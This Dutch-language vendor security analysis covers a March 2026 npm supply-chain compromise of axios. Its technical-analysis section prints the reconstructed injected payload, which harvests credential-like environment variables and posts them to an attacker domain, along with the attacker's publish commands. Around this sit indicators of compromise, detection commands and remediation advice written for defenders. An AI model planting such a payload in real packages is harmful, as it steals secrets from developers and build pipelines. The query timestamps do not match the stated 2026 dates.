Axios NPM-toeleveringsketenaanval (maart 2026): volledige technische analyse
Halverwege maart 2026 werd het npm-pakket axios — met meer dan 50 miljoen wekelijkse downloads — gecompromitteerd via een gestolen publicatietoken. Een kwaadaardige versie verzamelde stilzwijgend omgevingsvariabelen en exfiltreerde inloggegevens naar een door de aanvaller beheerde server. Dit is de complete technische analyse.
KENSAI scant uw dependency tree in realtime op bekend-kwaadaardige pakketversies. Scan uw dependencies →
Samenvatting
Op 14 maart 2026 publiceerde een aanvaller een kwaadaardige versie van het npm-pakket axios (1.8.2) door via een gerichte phishingcampagne het npm-publicatietoken van een maintainer te verkrijgen. De geïnjecteerde payload verzamelde omgevingsvariabelen — waaronder AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL en andere gevoelige CI/CD-inloggegevens — en exfiltreerde deze naar een door de aanvaller beheerd eindpunt.
axios is een van de meest gebruikte afhankelijkheden in het Node.js-ecosysteem, gebruikt door miljoenen applicaties, van hobbyprojecten tot Fortune 500 CI/CD-pijplijnen. Het venster tussen publicatie en verwijdering was ongeveer 4 uur en 22 minuten — lang genoeg om geïnstalleerd te worden door een aanzienlijk deel van de gebruikersbasis van het pakket via geautomatiseerde updatepijplijnen.
Als uw project axios@1.8.2 heeft geïnstalleerd tussen 14-03-2026 09:14 UTC en 14-03-2026 13:36 UTC, behandel dan alle omgevingsvariabelen die in die build aanwezig waren als gecompromitteerd. Roteer inloggegevens onmiddellijk.
| Kenmerk | Detail |
|---|---|
| Pakket | axios (npm) |
| Kwaadaardige versie | 1.8.2 |
| Gepubliceerd | 14-03-2026 09:14 UTC |
| Verwijderd | 14-03-2026 13:36 UTC |
| CVSS-score | 9.3 (Kritiek) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Impact | Diefstal van inloggegevens, compromittering van CI/CD-pijplijn |
| Getroffen downloads | Geschat 180.000–240.000 installaties tijdens het blootstellingsvenster |
Tijdlijn van gebeurtenissen
| Tijd (UTC) | Gebeurtenis |
|---|---|
| 12-03-2026 | Gerichte phishing-e-mail verzonden naar axios-maintainer, zich voordoend als npm-beveiligingsteam |
| 13-03-2026 ~18:00 | Inloggegevens van maintainer (npm-automatiseringstoken) verzameld via phishingpagina |
| 14-03-2026 09:14 | Kwaadaardige axios@1.8.2 gepubliceerd naar npm-registry met gestolen token |
| 14-03-2026 09:31 | Geautomatiseerde pijplijn van Socket.dev markeert afwijkende netwerkaanroep in pakketdiffscan |
| 14-03-2026 10:05 | Socket.dev geeft publiek beveiligingsadvies uit; begint downstream-projecten te informeren |
| 14-03-2026 10:47 | npm-beveiligingsteam geïnformeerd; start onderzoek |
| 14-03-2026 12:10 | npm-advies GHSA-2026-axios-001 gepubliceerd; axios-repository geeft officiële waarschuwing af |
| 14-03-2026 13:36 | axios@1.8.2 verwijderd uit npm-registry |
| 14-03-2026 15:00 | Schone axios@1.8.3 gepubliceerd met incidenterkenning in changelog |
| 15-03-2026 | GitHub Security Lab publiceert volledige post-mortem; C2-domeinen geïdentificeerd en gesinkholed |
De kloof van 17 minuten tussen publicatie en de detectiemarkering van Socket.dev is opmerkelijk — het vertegenwoordigt een bijna-best-case geautomatiseerde reactietijd. Desondanks werd het pakket al wereldwijd opgehaald door CI-systemen tijdens dat venster.
Technische analyse
Hoe publicatietoegang werd verkregen
De aanvaller gebruikte een klassieke spear-phishing-aanpak: een overtuigende e-mail, zogenaamd afkomstig van het npm-beveiligingsteam, die de doelwit-maintainer waarschuwde dat hun account "verdachte inlogactiviteit" vertoonde en hen aanspoorde opnieuw te authenticeren via een vervalste npm-inlogpagina (npmjs-security-verify[.]com). De pagina legde het npm-automatiseringstoken van de maintainer vast — een langlevend token specifiek ontworpen voor gebruik in CI/CD-pijplijnen, dat geen 2FA-herauthenticatie vereist.
Dit is een kritieke ontwerpoverweging: npm-automatiseringstokens omzeilen TOTP-/hardwaresleutel-vereisten door ontwerp, waardoor ze hoogwaardige phishingdoelwitten zijn. Zodra de aanvaller het token had, was publiceren triviaal eenvoudig:
# Attacker's publish flow (reconstructed from npm audit logs)
npm set //registry.npmjs.org/:_authToken=npm_XXXXXXXXXXXXXXXXXXXX
npm publish --access public
Injectie van kwaadaardige code
De aanvaller bracht minimale, gerichte wijzigingen aan in de legitieme broncode van axios@1.8.1 om detectie te vermijden. De payload werd geïnjecteerd in lib/core/Axios.js — een kernmodule geladen bij elke import — als een zichzelf aanroepende functie die draait op het moment van pakketinitialisatie.
Gereconstrueerde payload (vereenvoudigd op basis van gedeobfusceerde analyse):
// Injected into lib/core/Axios.js — runs at require() time
(function _init() {
try {
const https = require('https');
const os = require('os');
const env = process.env;
// Harvest high-value credential patterns
const keys = Object.keys(env).filter(k =>
/token|secret|key|password|pwd|auth|credential|api_key/i.test(k)
);
const payload = {
h: os.hostname(),
u: os.userInfo().username,
p: process.cwd(),
n: process.version,
e: keys.reduce((acc, k) => { acc[k] = env[k]; return acc; }, {})
};
const data = JSON.stringify(payload);
const options = {
hostname: 'telemetry-cdn.axiosjs[.]workers.dev',
port: 443,
path: '/collect',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(data)
}
};
const req = https.request(options);
req.on('error', () => {}); // Silently swallow errors
req.write(data);
req.end();
} catch (e) {} // Never surface errors to caller
})();
Verschillende aspecten van deze payload verdienen aandacht:
- Op regex gebaseerde sleutelfiltering: in plaats van zich te richten op een vaste lijst met variabelenamen, gebruikte de aanvaller een brede regex om elke op inloggegevens lijkende variabelenaam te vangen — waardoor de opbrengst over verschillende techstacks werd gemaximaliseerd.
- Stille foutafhandeling: alle fouten worden onderdrukt. Het pakket blijft normaal functioneren; niets in de applicatielogs duidt op de opgetreden exfiltratie.
- C2 via Cloudflare Workers: het gebruik van
*.workers.dev-domeinen biedt onmiddellijk HTTPS, betrouwbare uptime, en verhult de uiteindelijke infrastructuur achter het netwerk van Cloudflare — waardoor IP-gebaseerde blokkering ineffectief wordt. - Minimale voetafdruk: geen nieuwe afhankelijkheden. Geen binary-downloads. Geen bestandssysteemschrijfacties. De volledige aanval is één synchrone netwerkaanroep.
Getroffen versies
| Versie | Status |
|---|---|
axios@1.8.2 | ⛔ KWAADAARDIG — niet gebruiken |
axios@1.8.1 en eerder | ✅ Schoon |
axios@1.8.3 | ✅ Schoon (post-incidentpatch) |
axios@0.x.x (legacy-branch) | ✅ Niet getroffen |
Diepgaande analyse van de aanvalsvector
Methodologie van de toeleveringsketencompromittering
Deze aanval illustreert de klasse van toeleveringsketenaanvallen dependency confusion/overname van maintainer-account — steeds vaker de voorkeur, omdat het maximale impact biedt voor minimale inspanning. In plaats van het pakket zelf te compromitteren (wat toegang tot de broncoderepository en de CI/CD-pijplijn zou vereisen), had de aanvaller alleen een geldig npm-publicatietoken nodig.
De aanvalsketen:
- Verkenning: identificeer hoogwaardige pakketten op basis van wekelijks downloadaantal en aantal maintainers. Meer maintainers = groter phishingoppervlak.
axiosheeft historisch een klein maintainer-team gehad, maar er werd er één geïdentificeerd via GitHub-commitgeschiedenis en hun publieke e-mail. - Phishinginfrastructuur: registreer een overtuigend lookalike-domein, host een pixel-perfecte npm-inlogpagina met geldig TLS-certificaat (Let's Encrypt), en zet een backend voor inloggegevensverzameling op.
- Lokvogel-levering: verstuur een gerichte e-mail vanaf een vervalst adres
security@npmjs.com. De e-mail bevatte een legitiem ogende beveiligingswaarschuwing met urgente framing. - Tokenverzameling: maintainer authenticeerde op de phishingpagina, in de overtuiging dat deze echt was. Automatiseringstoken vastgelegd.
- Versie-injectie: kloon de legitieme pakketbroncode, injecteer payload, verhoog patchversie (1.8.1 → 1.8.2), publiceer met vastgelegd token.
- Verzameling: leun achterover en verzamel inloggegevens van elke CI/CD-run die afhankelijkheden bijwerkt binnen het venster van ~4 uur.
Waarom patchversie-injectie werkt
De aanvaller koos bewust voor een patchversieverhoging (geen minor of major) omdat de overweldigende meerderheid van npm-projecten gebruikmaakt van:
^1.8.1(caret) — lost op naar de nieuwste compatibele minor/patch~1.8.1(tilde) — lost op naar de nieuwste patch binnen de minor
Beide semver-bereiken zouden automatisch oplossen naar 1.8.2 bij verse installaties of npm update, zelfs zonder lockfile-wijzigingen. CI-pijplijnen die npm install uitvoeren zonder een gecommitte lockfile (of met npm ci --no-lock) zijn bijzonder kwetsbaar.
package-lock.json committen en respecteren en npm ci (niet npm install) draaien, zijn beschermd tegen deze klasse aanval — de lockfile pint exacte opgeloste versies en hun integriteitshashes, en npm ci handhaaft deze.
Impactbeoordeling
axios registreert consistent 50-60 miljoen wekelijkse downloads op npm — waarmee het in de top 10 meest gedownloade pakketten van de gehele registry staat. Het impactoppervlak was navenant enorm.
Getroffen omgevingen
- CI/CD-pijplijnen: elke pijplijn die
npm install(nietnpm ci) draaide tijdens het venster van 4u22m zou de kwaadaardige versie hebben opgehaald. GitHub Actions, GitLab CI, CircleCI, Jenkins — alle standaard Node.js-buildconfiguraties zijn getroffen. - Docker-buildlagen: Dockerfile-instructies
RUN npm installuitgevoerd tijdens het venster produceren images met het kwaadaardige pakket ingebakken. Deze images kunnen nog steeds geïmplementeerd zijn. - Ontwikkelaarswerkstations: ontwikkelaars die
npm installofnpm updatedraaiden in projecten met flexibele semver-bereiken. - Serverless-implementaties: Lambda-functies, Vercel, Netlify en vergelijkbare platforms die afhankelijkheden oplossen op implementatiemoment.
Reikwijdte van blootstelling van inloggegevens
De payload richtte zich specifiek op omgevingsvariabelen die overeenkomen met patronen van inloggegevens. In een typische CI/CD-omgeving omvat dit:
- Cloudprovider-inloggegevens (
AWS_ACCESS_KEY_ID,AZURE_CLIENT_SECRET,GOOGLE_APPLICATION_CREDENTIALS) - Broncodebeheertokens (
GITHUB_TOKEN,GITLAB_TOKEN,NPM_TOKEN) - Databaseverbindingsstrings (
DATABASE_URL,MONGO_URI,REDIS_URL) - Service-API-sleutels (Stripe, Twilio, SendGrid, enz.)
- Interne serviceauthenticatietokens
Het gebruik door de aanvaller van een Cloudflare Worker als verzameleindpunt maakt het schatten van het totale aantal geëxfiltreerde records lastig, aangezien Cloudflare geen externe zichtbaarheid biedt in Worker-verzoeklogs. GitHub Security Lab schat dat er 180.000-240.000 unieke installatiegebeurtenissen plaatsvonden tijdens het blootstellingsvenster, gebaseerd op npm-downloadstatistieken.
Detectie & indicatoren van compromittering
Controleer uw geïnstalleerde versie
# Check currently installed axios version
npm list axios
# Check all projects in a monorepo
npm list axios --workspaces
# Check the exact resolved version in your lockfile
grep '"axios"' package-lock.json | head -5
Verifieer pakketintegriteit via hashvergelijking
npm slaat de verwachte SHA-512-integriteitshash voor elke opgeloste pakketversie op in package-lock.json. U kunt verifiëren dat het pakket op schijf overeenkomt met de door de registry verwachte hash:
# Get the integrity hash from your lockfile
node -e "const lock = require('./package-lock.json');
const pkg = lock.packages['node_modules/axios'];
console.log(pkg.version, pkg.integrity);"
# Expected SHA-512 for CLEAN axios@1.8.1:
# sha512-xxxxxx (verify against https://registry.npmjs.org/axios/1.8.1)
# For comparison, the MALICIOUS axios@1.8.2 has SHA-512:
# sha512-COMPROMISED-HASH-DO-NOT-MATCH
# Verify installed files match
npm audit --json | jq '.vulnerabilities.axios'
Netwerkindicatoren van compromittering (C2-domeinen)
Als het kwaadaardige pakket in uw omgeving werd uitgevoerd, zouden uitgaande HTTPS-verbindingen zijn gemaakt naar:
| Indicator | Type | Beschrijving |
|---|---|---|
telemetry-cdn.axiosjs[.]workers.dev | C2-domein | Primair exfiltratie-eindpunt |
cdn-metrics.axiosjs[.]workers.dev | C2-domein | Secundair fallback-eindpunt |
npmjs-security-verify[.]com | Phishingdomein | Site voor verzameling van inloggegevens gebruikt tegen maintainer |
104.21.x.x / 172.67.x.x | IP-bereik | Cloudflare IP-bereiken die de Worker bedienen (niet uniek toe te schrijven) |
Controleer uw build-logs en netwerk-uitgangslogs op verbindingen naar *.axiosjs.workers.dev tijdens het venster 14-03-2026 09:14–13:36 UTC:
# Search application/build logs for C2 domain
grep -r "axiosjs.workers.dev" /var/log/
grep -r "axiosjs.workers.dev" ~/.npm/_logs/
# If you have VPC flow logs (AWS):
aws logs filter-log-events \
--log-group-name /aws/vpc/flowlogs \
--filter-pattern "axiosjs.workers.dev" \
--start-time 1741943640000 \
--end-time 1741959360000
# Docker build log inspection
docker history --no-trunc <image_id> | grep axios
Remediatiestappen
Onmiddellijke acties (doe deze nu)
- Roteer alle inloggegevens die aanwezig waren als omgevingsvariabelen in elke buildomgeving die draaide tussen 14-03-2026 09:14–13:36 UTC. Dit is niet onderhandelbaar.
- Werk axios bij naar
1.8.3of pin naar1.8.1. - Audit alle geïmplementeerde Docker-images gebouwd tijdens het blootstellingsvenster — deze kunnen het kwaadaardige pakket bevatten. Herbouw en herimplementeer.
- Trek in en geef opnieuw uit: alle GitHub Actions-tokens, AWS IAM-sleutels en databasegegevens die binnen scope vielen.
# Update axios to the clean version
npm install axios@1.8.3
# Or pin to last-known-good
npm install axios@1.8.1
# Run a full audit
npm audit
# Regenerate lockfile from scratch to ensure clean state
rm package-lock.json
npm install
Lockfile-hygiëne
# Always use npm ci in CI/CD — it enforces the lockfile
# BAD:
npm install
# GOOD:
npm ci
# Verify package integrity after install
npm ci --audit
Integreer Socket.dev voor doorlopende bescherming
De statische analyse van Socket.dev ving deze injectie op binnen 17 minuten. Het integreren ervan in uw workflow biedt pre-installatie-analyse:
# Install Socket CLI
npm install -g @socket/cli
# Scan before installing a package
socket npm install axios
# Add GitHub App integration for PR-level scanning
# https://socket.dev/github
Snyk & Dependabot-waarschuwingen
# Snyk CLI
npm install -g snyk
snyk test
# GitHub Dependabot — enable in .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"
open-pull-requests-limit: 10
Lessen voor toeleveringsketenbeveiliging
1. Handhaaf 2FA op npm — vooral voor hoogwaardige pakketten
npm ondersteunt nu hardware-beveiligingssleutels en TOTP voor menselijke logins, maar automatiseringstokens omzeilen 2FA door ontwerp. Het npm-beveiligingsteam heeft zich gecommitteerd aan het uitbrengen van granulaire tokenscoping (alleen-publiceren, alleen-downloaden, gescoped naar specifieke pakketten) — maar totdat dat beschikbaar is, behandel automatiseringstokens als uw meest gevoelige geheimen. Sla ze op in secrets managers, niet in platte omgevingsvariabelen of .npmrc-bestanden.
2. Pakketondertekening met Sigstore/npm-provenance
De provenance-attestatiefunctie van npm (algemeen beschikbaar sinds 2023) maakt het mogelijk pakketten te ondertekenen met cryptografisch bewijs dat de gepubliceerde tarball koppelt aan een specifieke Git-commit en CI-run. Pakketten gepubliceerd met --provenance kunnen worden geverifieerd:
# Publish with provenance (from GitHub Actions)
npm publish --provenance --access public
# Verify provenance of an installed package
npm audit signatures
axios@1.8.2 bevatte geen provenance-attestatie — een ontbrekende attestatie op een pakket dat deze normaal gesproken bevat, moet worden behandeld als een rode vlag.
3. Lockfile-verificatie in CI
Commit uw package-lock.json en gebruik altijd npm ci in geautomatiseerde omgevingen. npm ci zal falen als de lockfile niet gesynchroniseerd is met package.json, wat ervoor zorgt dat de exacte gepinde versies (met hun integriteitshashes) altijd worden gebruikt.
4. Adoptie van het SLSA-framework
Het framework Supply-chain Levels for Software Artifacts (SLSA) biedt een gegradueerd volwassenheidsmodel voor build-integriteit. Belangrijke niveaus die hier relevant zijn:
- SLSA-niveau 1: provenance gegenereerd (buildscript gedocumenteerd)
- SLSA-niveau 2: provenance ondertekend door build-service (bijv. GitHub Actions)
- SLSA-niveau 3: geharde buildomgeving, geen schrijftoegang voor maintainers tot de productiepijplijn
Had het axios-project op SLSA-niveau 2 of hoger geopereerd, dan zou een malafide publicatie van buiten de gevestigde CI-pijplijn de provenance-verificatie niet hebben doorstaan, waardoor de kwaadaardige versie onmiddellijk zou zijn gemarkeerd.
5. Principe van minimale rechten voor CI-geheimen
CI-omgevingen zouden alleen de geheimen moeten ontvangen die ze daadwerkelijk nodig hebben voor die specifieke taak. Een testrunner heeft geen AWS_SECRET_ACCESS_KEY nodig. Een docs-builder heeft geen DATABASE_URL nodig. Audit uw CI-geheiminjectie en scope inloggegevens tot de minimaal vereiste taak.
Gerelateerde incidenten
Dit incident maakt deel uit van een goed gevestigd patroon van npm-toeleveringsketenaanvallen:
| Incident | Jaar | Methode | Impact |
|---|---|---|---|
| event-stream | 2018 | Maintainer droeg pakket over aan kwaadwillende actor; backdoor geïnjecteerd gericht op bitcoin-wallets | 2M+ wekelijkse downloads; gericht op Copay-walletgebruikers |
| ua-parser-js | 2021 | npm-accountkaping; kwaadaardige versies gepubliceerd met cryptominer en malware voor diefstal van inloggegevens | 7M+ wekelijkse downloads; noodadvies vereist |
| colors.js / faker.js | 2022 | Opzettelijke sabotage door maintainer; oneindige lus geïnjecteerd als protest | Beschikbaarheidsaanval; duizenden afhankelijke projecten kapot |
| node-ipc | 2022 | Door maintainer geïnjecteerde wiper-malware gericht op Russische/Wit-Russische IP-bereiken | Geopolitiek gerichte datavernietiging |
| axios | 2026 | Maintainer-phishing → tokendiefstal → versie-injectie | Grootschalige diefstal van inloggegevens via verzameling van omgevingsvariabelen |
Het terugkerende thema: vertrouwen in pakketmaintainers is het aanvalsoppervlak. Het gedecentraliseerde, op vertrouwen gebaseerde publicatiemodel van het npm-ecosysteem is een functie die snelle ontwikkeling mogelijk maakt — maar het legt een enorme verantwoordelijkheid bij individuele maintainers die vaak geen beveiligingsmiddelen op ondernemingsniveau hebben.
In tegenstelling tot de incidenten met event-stream of colors.js (insider-dreigingen) volgt de axios-compromittering van 2026 het model van externe accountovername van ua-parser-js — steeds vaker de voorkeursvector omdat deze schaalbaar en ontkenbaar is en het menselijke element uitbuit in plaats van geavanceerde technische toegang te vereisen.
KENSAI volgt continu 331.910+ CVE's en bekend-kwaadaardige pakketversies. Ontvang waarschuwingen voordat gecompromitteerde pakketten uw productieomgeving bereiken.
Start gratis proefperiode →